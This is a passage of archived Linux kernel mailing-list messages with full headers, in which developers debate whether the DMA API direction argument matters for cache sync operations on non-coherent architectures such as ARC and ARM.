Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24389>

On 05/18/2018 06:23 AM, hch-jcswGhMUV9g@public.gmane.org wrote:
>   Fri, May 18, 2018 at 01:03:46PM +0000, Alexey Brodkin wrote:
>> Note mmc_get_dma_dir() is just "data->flags & MMC_DATA_WRITE ? DMA_TO_DEVICE : DMA_FROM_DEVICE".
>> I.e. if we're preparing for sending data dma_noncoherent_map_sg() will have DMA_TO_DEVICE which
>> is quite OK for passing to dma_noncoherent_sync_sg_for_device() but in case of reading we'll have
>> DMA_FROM_DEVICE which we'll pass to dma_noncoherent_sync_sg_for_device() in dma_noncoherent_map_sg().
>>
>> I'd say this is not entirely correct because IMHO arch_sync_dma_for_cpu() is supposed to only be used
>> in case of DMA_FROM_DEVICE and arch_sync_dma_for_device() only in case of DMA_TO_DEVICE.
> arc overrides the dir paramter of the dma_sync_single_for_device/
> dma_sync_single_for_cpu calls.  My patches dropped that, and I have
> restored that, and audit for the other architectures is pending.

Right, for now lets retain that and do a sweeping audit of @direction - to me it 
seems extraneous (as it did 10 years ago), but I'm not an expert in this are so 
perhaps it is needed for some device / arches and it would be good to understand 
that finally.

> That being said the existing arc code still looks rather odd as it
> didn't do the same thing for the scatterlist versions of the calls.
> I've thrown in a few patches into my new tree to make the sg versions
> make the normal calls, and to clean up the area a bit.

Not calling names or anything here, but it doesn't exist for sg variants, because 
I didn't write that code :-)
It was introduced by your commi:

2016-01-20 052c96dbe33b arc: convert to dma_map_ops


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.mm,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH
 02/20] dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 18:50:04 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20180518175004.GF17671@n2100.armlinux.org.uk>
References: <20180511075945.16548-1-hch@lst.de>
 <20180511075945.16548-3-hch@lst.de>
 <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
 <5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1526665719 12935 195.159.176.226 (18 May 2018 17:48:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 17:48:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Alexey Brodkin <Alexey.Brodkin@synopsys.com>,
        "hch@lst.de" <hch@lst.de>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "monstr@monstr.eu" <monstr@monstr.eu>,
        "deanbo422@gmail.com" <deanbo422@gmail.com>,
        "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "linux-mm@kvack.org" <linux-mm@kvack.org>,
        "iommu@lists.linux-foundation.org" <iommu@lists.linux-foundation.org>,
        "openrisc@lis
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 18 19:48:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fJjUV-00030C-8L
	for glk-linux-kernel-4@m.gmane.org; Fri, 18 May 2018 19:48:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752467AbeERRul (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 18 May 2018 13:50:41 -0400
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:51906 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752422AbeERRub (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 18 May 2018 13:50:31 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=armlinux.org.uk; s=pandora-2014; h=Sender:In-Reply-To:Content-Type:
        MIME-Version:References:Message-ID:Subject:Cc:To:From:Date:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=w26Mcd9/t0aYDyhVFEe2HgthN89vmJWIhOy1q/AaIfU=; b=i17r7MKhB4mxAtM9FMUHnq9HI
        Snhe4YJo65vbUMqxeUmvws5sKluwAg8y+nYas2aFMeiYFkB/tMNDyGEjLD5B5JkKze9RK2uytEOND
        BuPtMh9WTv0KugmMGqK/cSSOnTouGqnRrX8KFMoy4C3dk30Yh5IYcDnrYI+a6f6Krgu00=;
Original-Received: from n2100.armlinux.org.uk ([2001:4d48:ad52:3201:214:fdff:fe10:4f86]:33580)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
        (Exim 4.90_1)
        (envelope-from <linux@armlinux.org.uk>)
        id 1fJjWD-0007iQ-Nw; Fri, 18 May 2018 18:50:17 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.90_1)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1fJjW6-0007dC-Q3; Fri, 18 May 2018 18:50:11 +0100
Content-Disposition: inline
In-Reply-To: <5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2771290 gmane.linux.kernel.cross-arch:44267 gmane.linux.ports.parisc:28628 gmane.linux.ports.sh.devel:57047 gmane.linux.ports.hexagon:1735 gmane.linux.kernel.mm:195991 gmane.linux.kernel.iommu:24390 gmane.linux.ports.alpha:5056 gmane.linux.ports.sparc:27884 gmane.linux.kernel.arc:3910 gmane.linux.ports.arm.kernel:651410
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2771290>

On Fri, May 18, 2018 at 10:20:02AM -0700, Vineet Gupta wrote:
> I never understood the need for this direction. And if memory serves me
> right, at that time I was seeing twice the amount of cache flushing !

It's necessary.  Take a moment to think carefully about this:

	dma_map_single(, dir)

	dma_sync_single_for_cpu(, dir)

	dma_sync_single_for_device(, dir)

	dma_unmap_single(, dir)

In the case of a DMA-incoherent architecture, the operations done at each
stage depend on the direction argument:

	map		for_cpu		for_device	unmap
TO_DEV	writeback	none		writeback	none
TO_CPU	invalidate	invalidate*	invalidate	invalidate*
BIDIR	writeback	invalidate	writeback	invalidate

* - only necessary if the CPU speculatively prefetches.

The multiple invalidations for the TO_CPU case handles different
conditions that can result in data corruption, and for some CPUs, all
four are necessary.

This is what is implemented for 32-bit ARM, depending on the CPU
capabilities, as we have DMA incoherent devices and we have CPUs that
speculatively prefetch data, and so may load data into the caches while
DMA is in operation.


Things get more interesting if the implementation behind the DMA API has
to copy data between the buffer supplied to the mapping and some DMA
accessible buffer:

	map		for_cpu		for_device	unmap
TO_DEV	copy to dma	none		copy to dma	none
TO_CPU	none		copy to cpu	none		copy to cpu
BIDIR	copy to dma	copy to cpu	copy to dma	copy to cpu

So, in both cases, the value of the direction argument defines what you
need to do in each call.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH
	02/20] dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 19:57:34 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <182840dedb4890a88c672b1c5d556920bf89a8fb.camel@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
	<20180518175004.GF17671@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526673355 17840 195.159.176.226 (18 May 2018 19:55:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 19:55:55 +0000 (UTC)
Cc: "linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org" <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>,
	"linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org" <linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org" <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"monstr@mons
To: "linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org" <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 21:55:49 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJlTh-0004Wa-42
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 21:55:49 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E2461B13;
	Fri, 18 May 2018 19:57:59 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 63E75927
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 19:57:59 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 094746DA
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 19:57:58 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
	by smtprelay.synopsys.com (Postfix) with ESMTP id E730F10C04B9;
	Fri, 18 May 2018 12:57:57 -0700 (PDT)
Original-Received: from US01WXQAHTC1.internal.synopsys.com
	(us01wxqahtc1.internal.synopsys.com [10.12.238.230])
	by mailhost.synopsys.com (Postfix) with ESMTP id B9E183BFE;
	Fri, 18 May 2018 12:57:56 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
	US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 12:57:37 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
	by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
	14.03.0361.001; Fri, 18 May 2018 21:57:35 +0200
Thread-Topic: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH
	02/20] dma-mapping: provide a generic dma-noncoherent implementation)
Thread-Index: AQHT7syARpPy7xKYC0y2vN79/LqnSaQ1oi0AgAAjnoA=
In-Reply-To: <20180518175004.GF17671-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.225.15.87]
Content-ID: <FBDD463EE3FC3543A056335FD62CF42C-z7JfP6tgrtVBCHUSTMH8dZqQE7yCjDx5@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24392 gmane.linux.ports.sh.devel:57048 gmane.linux.kernel.mm:195995 gmane.linux.ports.sparc:27885 gmane.linux.kernel.cross-arch:44269 gmane.linux.ports.hexagon:1736 gmane.linux.kernel.arc:3911 gmane.linux.ports.arm.kernel:651425 gmane.linux.ports.parisc:28629 gmane.linux.kernel:2771380 gmane.linux.ports.alpha:5057
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24392>

Hi Russel,

On Fri, 2018-05-18 at 18:50 +0100, Russell King - ARM Linux wrote:
> It's necessary.  Take a moment to think carefully about this:
> 
>         dma_map_single(, dir)
> 
>         dma_sync_single_for_cpu(, dir)
> 
>         dma_sync_single_for_device(, dir)
> 
>         dma_unmap_single(, dir)
> 
> In the case of a DMA-incoherent architecture, the operations done at each
> stage depend on the direction argument:
> 
>         map             for_cpu         for_device      unmap
> TO_DEV  writeback       none            writeback       none
> TO_CPU  invalidate      invalidate*     invalidate      invalidate*
> BIDIR   writeback       invalidate      writeback       invalidate
> 
> * - only necessary if the CPU speculatively prefetches.

I think invalidation of DMA buffer is required on for_cpu(TO_CPU) even
if CPU doesn't preferch - what if we reuse the same buffer for multiple
reads from DMA device?

> The multiple invalidations for the TO_CPU case handles different
> conditions that can result in data corruption, and for some CPUs, all
> four are necessary.

I would agree that map()/unmap() a quite a special cases and so depending
on direction we need to execute in them either for_cpu() or for_device()
call-backs depending on direction.

As for invalidation in case of for_device(TO_CPU) I still don't see
a rationale behind it. Would be interesting to see a real example where
we benefit from this.

> This is what is implemented for 32-bit ARM, depending on the CPU
> capabilities, as we have DMA incoherent devices and we have CPUs that
> speculatively prefetch data, and so may load data into the caches while
> DMA is in operation.
> 
> 
> Things get more interesting if the implementation behind the DMA API has
> to copy data between the buffer supplied to the mapping and some DMA
> accessible buffer:
> 
>         map             for_cpu         for_device      unmap
> TO_DEV  copy to dma     none            copy to dma     none
> TO_CPU  none            copy to cpu     none            copy to cpu
> BIDIR   copy to dma     copy to cpu     copy to dma     copy to cpu
> 
> So, in both cases, the value of the direction argument defines what you
> need to do in each call.

Interesting enough in your seond table (which describes more complicated
case indeed) you set "none" for for_device(TO_CPU) which looks logical
to me.

So IMHO that's what make sense:
---------------------------->8-----------------------------
        map             for_cpu         for_device      unmap
TO_DEV  writeback       none            writeback       none
TO_CPU  none            invalidate      none            invalidate*
BIDIR   writeback       invalidate      writeback       invalidate*
---------------------------->8-----------------------------

* is the case for prefetching CPU.

-Alexey

From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
 implementation
Date: Fri, 18 May 2018 22:05:51 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <0c5d27e9-2799-eb38-8b09-47a04c48b5c7@gmx.de>
References: <20180511075945.16548-1-hch@lst.de>
 <20180511075945.16548-3-hch@lst.de>
 <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526673860 21676 195.159.176.226 (18 May 2018 20:04:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 20:04:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
 "monstr@monstr.eu" <monstr@monstr.eu>,
 "linux-snps-arc@lists.infradead.org" <linux-snps-arc@lists.infradead.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "iommu@lists.linux-foundation.org" <iommu@lists.linux-foundation.org>,
 James Bottomley <James.Bottomley@HansenPartnership.com>,
 "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
 "openrisc@lists.librecores.org" <openrisc@lists.librecores.org>,
 "green.hu@gmail.com" <green.hu@gmail.com>,
 "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
 "sparclinux@vger.kernel.org" <sparcl
To: Alexey Brodkin <Alexey.Brodkin@synopsys.com>, "hch@lst.de" <hch@lst.de>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri May 18 22:04:15 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fJlbq-0005Tv-Pa
	for gla-linux-snps-arc@m.gmane.org; Fri, 18 May 2018 22:04:14 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=mvmP9ncXxAiSasfXegLa/BmcH7QYhuwflbTZxSdqB4w=; b=dwKnpm8mQK9Og+
	i3vnbNBh55woS2Wh27tWOKsEruicyIkGe4ktsYLAiyWuY2zVP5g/4WY/A6nNIuYBGMkZPSrq552sc
	qKdrnH3aSXq1vsYNhkzPJmGxzEK0qYRvRGCDkIM4FOm0x9W9m7T2Hi9fbYAuANR2/t/oeKe62fC7f
	Pjt500FfPvStqzxG1+v1i4ap0nZvp6zKmO/xrG/95QCuWtzpst+PLI5nRMhlAtrIv5ReRmw1h3FFI
	VM/fGlIYYKlpo6MVDkO0Yya1Qs64hy71Vrd/W10HhGsRAirTfZ8QYvRwFbHNkpXIQSfZYMoBK2rVW
	O4hiZWCjZjbAyxlmz+pg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fJldx-0002jI-B1; Fri, 18 May 2018 20:06:25 +0000
Original-Received: from mout.gmx.net ([212.227.15.15])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fJldt-0002fX-TI; Fri, 18 May 2018 20:06:23 +0000
Original-Received: from [192.168.20.60] ([89.247.38.74]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdYxu-1ebJzs2zys-00iiRB; Fri, 18
 May 2018 22:05:54 +0200
In-Reply-To: <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
Content-Language: en-US
X-Provags-ID: V03:K1:dbWqGZkrneC2PXCfX6aBO4SyRmjNp/wfiM9LtaMukYwZXYlHQxv
 jz4n7wg5rGJtnaBkFZ03R0Tcq10Qaftrg1yaGhe+vKwpDliOtvDkMLP3jrubI3Pt5Q9A8hy
 ThSgsvAX/hZsL8sI6qZ218VFUwL8O1Y9YfPtHlEZYXejlqT3fb08NvgvazJRa78rNmIvmMe
 pojZopBZxyKl6TxHQ/C3w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wJHJ2Ioh6vM=:9NoVMjYeCNBYtG9aazO7XR
 f2zt1tXloI3vYOqTqN7tOZVJqXc5LXciOLNKtNQZ0YSMsmKBG14L+WmbYuCeQlpfg/zXBOpLG
 TmjLUz3msEI2gShw8IebNUzfCjCyyV61N6OZqGE8XTcfgGFsIRIPHaqhpLSQEhZVUMqVpB/aO
 HCeulVegkInx+Af5TRkjlPaFq69qXJYvQjiVRzHdh26lS3oI1/ZFJs8Ww4ji+j0GjmMqSuVQQ
 +WUfdjVALVGHOMeN0sCrX6RQK3EIzqNaurcMa6JEXu4qHLjX3jXpNv7EmFxMU0JB3sCw5rGf7
 NVgDlzFbGWY3yuU9mbzKkxHQC+h885SUCEhh5zHKrArE8HoTOSMnfCHLp2DOLbRFmBQ1LTO1l
 YIai4pFYabrUyderIa45BVBQVXsDQpPnFa0GT7irJTt2LE430RS0//hWryC10qMB8jGnOH4jV
 7giHLCgtJ41H1IaJJjbBrkIQhi7ZOkjtAQGagbkObmmA6p2YhOso5hbp9z18QM1rOx09XCKHm
 LQIsIDmkdB4o+5I2hjkv5pbP3sCrx8fPSqCAsRbiMxRHiKarFXfWmfxG/KKomCH69UvSK/N4R
 FLldPcb7Lb/9b3Z8dfoZ2fK3/DINp5rs/HV/dhZIllKLL4vRaPnmBQJb/EO9i7mylik1nBHGo
 XvtexbgH+iWhshCmYX9MpTk2IV5OF8AvOw8HvjKGjlkF+Slt0Lk6ZDBOTndDlPXQGnHNDASNj
 0Ix5qzWSrOZpL7JRztJ5lKWK291WDRy/C3MFAXYvcohzIZvQdHNth0je/+RRJTppPdeBEI16 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180518_130622_246875_564EFD41 
X-CRM114-Status: GOOD (  12.47  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.15.15 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3912 gmane.linux.kernel.cross-arch:44270 gmane.linux.ports.parisc:28630 gmane.linux.ports.sh.devel:57049 gmane.linux.ports.hexagon:1737 gmane.linux.kernel:2771386 gmane.linux.kernel.iommu:24393 gmane.linux.ports.alpha:5058 gmane.linux.ports.sparc:27886 gmane.linux.ports.arm.kernel:651426
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3912>

On 18.05.2018 15:03, Alexey Brodkin wrote:
> But the real fix of my problem is:
> ---------------------------------------->8------------------------------------
